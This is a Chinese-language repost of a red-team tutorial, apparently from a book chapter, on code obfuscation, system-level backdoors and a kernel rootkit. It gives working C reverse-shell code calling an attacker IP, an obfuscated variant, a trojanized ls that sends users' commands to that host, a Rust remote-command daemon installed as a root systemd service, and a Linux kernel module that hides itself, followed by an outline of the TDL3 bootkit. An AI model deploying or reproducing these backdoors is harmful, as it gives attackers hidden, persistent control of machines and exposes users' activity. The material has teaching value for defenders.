使用代码混淆避免检测
代码混淆是一种使源代码或机器代码难以理解的技术。攻击者通常采用这种做法来隐藏恶意代码(如后门),以防安全分析师、自动分析工具和其他检测机制发现。其主要目的是防止代码被轻易读取、分析或逆向工程,从而降低被发现的可能性。
让我们回顾一些最常见的代码混淆技术。一些攻击者将变量、函数和类的名称更改为无意义或误导性的名称。示例 6-11显示了我们的原始代码。
示例 6-11 重命名混淆原始代码
int check_password(char *password) {
if (strcmp(password, "secret") == 0) {
return 1;
}
return 0;
}
例 6-12显示了混淆后的代码。
示例 6-12 模糊代码重命名函数和变量
int a1b2c3(char *x1x2x3) {
if (strcmp(x1x2x3, "secret") == 0) {
return 1;
}
return 0;
}
您还可以使用控制流混淆。利用这种技术,攻击者可以改变程序的控制流,使其变得更加复杂,更难理解。示例 6-13显示了过于简化的原始代码。
例 6-13 控制流混淆过度简化的原始代码
if (user_input == correct_value) {
execute_command();
}
例 6-14显示了修改后的代码。
示例 6-14 控制流混淆混淆代码
switch (user_input) {
case correct_value:
goto L1;
default:
goto L2;
}
L1:
execute_command();
L2:
;
另一种技术是使用代码内联和展开。攻击者用实际函数代码替换函数调用(内联),用重复的代码块替换循环(展开)。
攻击者通常会在代码中编码或加密数据,使其难以理解或分析。他们还会添加无功能或冗余代码,这些代码不会影响程序的逻辑,但会使分析更加困难。
例 6-15给出了一个简单的例子,演示了如何混淆反向 shell 代码以避免被检测到。
例 6-15 在 C 原代码中混淆反向 Shell 代码
// Original code
void reverse_shell() {
int sockfd;
struct sockaddr_in serv_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("10.1.2.3"); // Attacker's IP
serv_addr.sin_port = htons(1337); // Attacker's port
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
dup2(sockfd, 0); // Redirect standard input
dup2(sockfd, 1); // Redirect standard output
dup2(sockfd, 2); // Redirect standard error
execl("/bin/sh", "sh", NULL); // Execute shell
}
int main() {
reverse_shell();
return 0;
}
例 6-16显示了混淆后的代码。
例 6-16 使用 C 混淆代码对反向 Shell 代码进行混淆
void a1b2c3() {
int x1x2x3;
struct sockaddr_in y1y2y3;
x1x2x3 = socket(AF_INET, SOCK_STREAM, 0);
y1y2y3.sin_family = AF_INET;
y1y2y3.sin_addr.s_addr = inet_addr("0A010203"); // 10.1.2.3 in hex
y1y2y3.sin_port = htons(0x0539); // 1337 in hex
connect(x1x2x3, (struct sockaddr *)&y1y2y3, sizeof(y1y2y3));
dup2(x1x2x3, 0); // Redirect standard input
dup2(x1x2x3, 1); // Redirect standard output
dup2(x1x2x3, 2); // Redirect standard error
execl("/bin/sh", "sh", NULL); // Execute shell
}
int d1d2d3() {
a1b2c3();
return 0;
}
在示例 6-16中,函数和变量名称已更改为无意义的序列(a1b2c3、x1x2x3、y1y2y3、d1d2d3)。IP 地址和端口号以十六进制格式编码以隐藏其真实值。代码保持一致的格式,以避免在表面审查期间引起怀疑。
有几种流行的工具可用于代码混淆:
• ProGuard:用于 Java 应用程序(主要是 Android 应用程序)的工具
• PyArmor:用于 Python 脚本的工具
• obfuscator.io:用于混淆 JavaScript 代码的在线工具
• UPX(可执行文件终极打包程序):用于打包和压缩可执行文件的工具,使其更难分析
代码混淆是一种强大的技术,可以使恶意代码(例如后门)难以检测和分析。通过重命名变量、更改控制流、编码数据和插入死代码,攻击者可以大大阻碍安全分析师和自动化工具识别和理解恶意功能的努力。但是,值得注意的是,虽然混淆可能会延迟检测,但使用正确工具和技术的专注且熟练的分析师仍然可以发现混淆的代码。
系统级后门
系统级后门通常以提升的权限提供对受感染系统的深度和持久访问。您可以使用以下技术创建系统级后门:
•被木马感染的系统二进制文件:用恶意版本替换合法的系统二进制文件。例如,你可以用记录用户活动的恶意版本替换 Linux 系统上的合法/bin/ls命令。这些被修改的二进制文件会执行其预期任务,但也包含隐藏的恶意功能,例如记录用户活动或提供后门访问。
•自定义服务和守护进程:创建以提升的权限运行的新服务。
例 6-17展示了如何使用 C 来感染系统二进制文件。
示例 6-17 对系统二进制文件进行木马病毒感染
// Malicious functionality to log and send data
void log_and_send(const char *user_command) {
FILE *logfile = fopen("/tmp/ls_log.txt", "a");
if (logfile) {
fprintf(logfile, "User executed: %sn", user_command);
fclose(logfile);
}
int sockfd;
struct sockaddr_in serv_addr;
char *attacker_ip = "10.1.2.3"; // Attacker's IP
int port = 1337; // Attacker's listening port
sockfd = socket(AF_INET, SOCK_STREAM, 0);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(attacker_ip);
serv_addr.sin_port = htons(port);
if (connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == 0)
{
send(sockfd, user_command, strlen(user_command), 0);
close(sockfd);
}
}
int main(int argc, char *argv[]) {
char command[1024] = {0};
for (int i = 0; i < argc; i++) {
strcat(command, argv[i]);
strcat(command, " ");
}
// Log and send the executed command
log_and_send(command);
// Execute original ls functionality
list_directory();
return 0;
}
示例 6-18展示了如何在 Rust 中创建恶意守护进程。Rust 提供了强大的安全保障和现代化的开发环境,使其成为合法和恶意软件开发的理想选择。
示例 6-18 在 Rust 中创建恶意守护进程
use std::net::{TcpListener, TcpStr eam};
use std::process::{Command, Stdio};
use std::io::{Read, Write};
use std::thread;
fn handle_client(mut stream: TcpStream) {
let mut buffer = [0; 1024];
loop {
match stream.read(&mut buffer) {
Ok(0) => break, // Connection closed
Ok(_) => {
let cmd = String::from_utf8_lossy(&buffer);
let output = if cfg!(target_os = "windows") {
Command::new("cmd")
.arg("/C")
.arg(cmd.trim())
.output()
.expect("Failed to execute command")
} else {
Command::new("sh")
.arg("-c")
.arg(cmd.trim())
.output()
.expect("Failed to execute command")
};
stream.write_all(&output.stdout).unwrap();
stream.write_all(&output.stderr).unwrap();
}
Err(_) => break,
}
}
}
fn main() {
let listener = TcpListener::bind("0.0.0.0:1337").expect("Could not bind");
println!("Listening on port 1337");
for stream in listener.incoming() {
match stream {
Ok(stream) => {
thread::spawn(move || {
handle_client(stream);
});
}
Err(e) => {
eprintln!("Failed to accept connection: {}", e);
}
}
}
}
在示例 6-18中,TcpListener绑定到端口 1337 并监听传入的连接。handle_client从客户端读取命令、执行它们并返回输出。main接受传入的连接并为每个客户端生成一个新线程。
然后,您可以将编译后的二进制文件移动到合适的位置并创建服务配置:
sudo mv target/release/malicious_daemon /usr/local/bin/
例 6-19显示了 systemd 服务的示例配置。
示例 6-19 Systemd 服务的配置
[Unit]
Description=Malicious Daemon
[Service]
ExecStart=/usr/local/bin/malicious_daemon
Restart=always
User=root
[Install]
WantedBy=multi-user.target
您可以将此配置保存为/etc/systemd/system/malicious_daemon.service,并使用以下命令启用并启动该服务以确保它在启动时运行:
sudo systemctl enable malicious_daemon.service
sudo systemctl start malicious_daemon.service
内核级后门
Rootkit是在内核级别运行的恶意软件,可让攻击者获得对系统的深度访问权限。它们可以拦截和修改系统调用、隐藏其存在并为攻击者提供对系统的控制权。以下是 Rootkit 的类型:
•用户模式 Rootkit:在应用层运行,修改用户空间应用程序和 API
•内核模式 Rootkit:在内核级别运行,修改内核数据结构和函数
•虚拟机管理程序 Rootkit:在操作系统下运行,修改虚拟机管理程序来控制虚拟机
•固件 Rootkit:在硬件设备(如网卡和 BIOS)的固件中运行
让我们创建一个简单的Linux内核模块rootkit(我们将其称为rootkit.c)。代码如示例6-20所示。
示例 6-20 创建 Linux 内核模块 Rootkit
static struct list_head *prev_proc;
static struct proc_dir_entry *proc_entry;
static int rootkit_show(struct seq_file *m, void *v) {
seq_printf(m, "Hello, rootkit here!n");
return 0;
}
static int rootkit_open(struct inode *inode, struct file *file) {
return single_open(file, rootkit_show, NULL);
}
static const struct file_operations rootkit_fops = {
.owner = THIS_MODULE,
.open = rootkit_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init rootkit_init(void) {
proc_entry = proc_create("rootkit", 0, NULL, &rootkit_fops);
if (!proc_entry) {
return -ENOMEM;
}
// Hide the rootkit process
prev_proc = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
return 0;
}
static void __exit rootkit_exit(void) {
proc_remove(proc_entry);
// Restore the rootkit process
list_add(&THIS_MODULE->list, prev_proc);
}
module_init(rootkit_init);
module_exit(rootkit_exit);
编译好 rootkit 后,加载它。换句话说,加载内核模块:
sudo insmod rootkit.ko
然后检查rootkit是否被加载并隐藏:
lsmod | grep rootkit
如果 rootkit 被正确隐藏,则运行此命令应该不会显示任何内容。
让我们来看看一个复杂的 rootkit 的真实用例,即 TDL3(也称为 TDSS 或 Alureon)。此 rootkit 以其在内核级别运行的能力而闻名,可提供深度系统访问和强大的隐身能力。TDL3 加载程序负责加载和启动 rootkit 的恶意负载,同时逃避传统安全机制的检测。以下是 TDL3 加载程序的主要特征:
•内核级操作:TDL3 加载器在内核级运行,从而使其能够操纵核心系统功能,并且对大多数用户空间安全工具保持隐藏。
• Bootkit 功能:TDL3 可以感染主引导记录 (MBR) 或卷引导记录 (VBR),确保其在系统重启后仍然有效。
•代码注入:它将代码注入合法的系统进程,使其难以被检测和删除。
•隐身技术:TDL3 加载程序利用先进的技术来隐藏其存在,包括拦截和更改系统调用的 rootkit 功能。
TDL3 根工具包通常通过驱动下载、受感染的电子邮件附件或恶意网站传播。一旦执行,安装程序就会修改 MBR 或 VBR,以便在系统启动过程中加载 TDL3 加载程序。
原始 MBR/VBR 经过修改,包含一小段代码,将启动过程重定向到 TDL3 加载程序。在系统启动期间,修改后的 MBR/VBR 代码会执行 TDL3 加载程序。TDL3 加载程序会初始化并将 rootkit 的主要组件加载到内存中。
加载程序会在操作系统内核中安装钩子,从而拦截系统调用并操纵它们以隐藏其存在并保持对系统的控制。在内核中建立自身后,加载程序会激活 rootkit 的有效负载,其中可能包括各种恶意活动,例如击键记录、数据泄露和安装其他恶意软件。
为了说明这一点,让我们看一个简化的示例,了解 TDL3 加载程序如何修改 MBR 以包含跳转到其加载程序代码。此示例仅用于教育目的,并不代表 TDL3 实现的实际复杂性。图 6-6显示了感染前的引导启动驱动程序。HEADER 标签指的是可移植可执行文件 (PE) 标头以及节表。
原文始发于微信公众号(教父爱分享):国外红队大佬内核+系统级后门维持骚姿势【附代码】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论